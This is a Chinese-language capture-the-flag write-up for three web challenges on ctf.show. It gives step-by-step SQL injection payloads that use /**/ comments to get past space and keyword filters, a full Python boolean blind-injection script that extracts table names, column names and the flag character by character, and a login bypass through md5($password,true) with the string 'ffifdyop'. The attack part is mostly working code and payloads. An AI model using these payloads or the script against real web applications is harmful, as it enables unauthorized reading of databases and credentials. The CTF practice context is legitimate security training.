web7
通过点击几个目录发现id在变化可能存在sql注入
使用/?id=1 and 1来测试
发现出错 尝试找出过滤 最后发现过滤了空格使用/**/来绕过
构造/?id=1/**/and/**/1 和/?id=1/**/and/**/0 时sql恒不成立
构建 ?id=1/**/and/**/1/**/order/**/by/**/3 来查字段
得到字段为3 构建/?id=-1/**/union/**/select/**/1,2,3(由于使用联合查询使用要使前面的语句无法正常查询)使用id=-1
发现2.3构建/?id=-1/**/union/**/select/**/1,database(),3查数据库
得到库名web7构建?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"
得到3个表构建?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag" 查找flag中的字段
发现只有flag构建/?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag
得到flag值
web8
使用/**/代替空格测试过滤
发现过滤了‘ 空格 and union
由于and 和union不能使用使用使用盲注
空格使用/**/代替
这里了解一下盲注篇幅有限可以看下面的稍微了解一下渗透测试——布尔盲注和时间盲注_zjdda的博客-CSDN博客_时间盲注和布尔盲注
因为and过滤所以使用or
用脚本来猜出flag
import requests
s=requests.session()
url='http://1a52462e-b3aa-4f50-8445-0792a199259e.chall.ctf.show/index.php'
table=""
"""
' and ascii(substr((select database()),1,1))=xx #
这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样
' and ascii(substr((select database())from 1 for 1))=xx #
这应该是substring函数的两种用法
"""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
更改url为你的url 注释掉的是爆表名的payload在kali里面要用python3打开要经过一段时间的等待
最后得到flag值这里少了给}
web9
先使用万能密码没有用
扫描网站发现robots.txt
发现提示index.phps这是源码
下载文件打开发现
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
这里涉及.md5($password,true)详情看sql注入:md5($password,true)_March97的博客-CSDN博客_md5($pass,true)
所以使用ffifdyop作为密码
登录成功出现flag值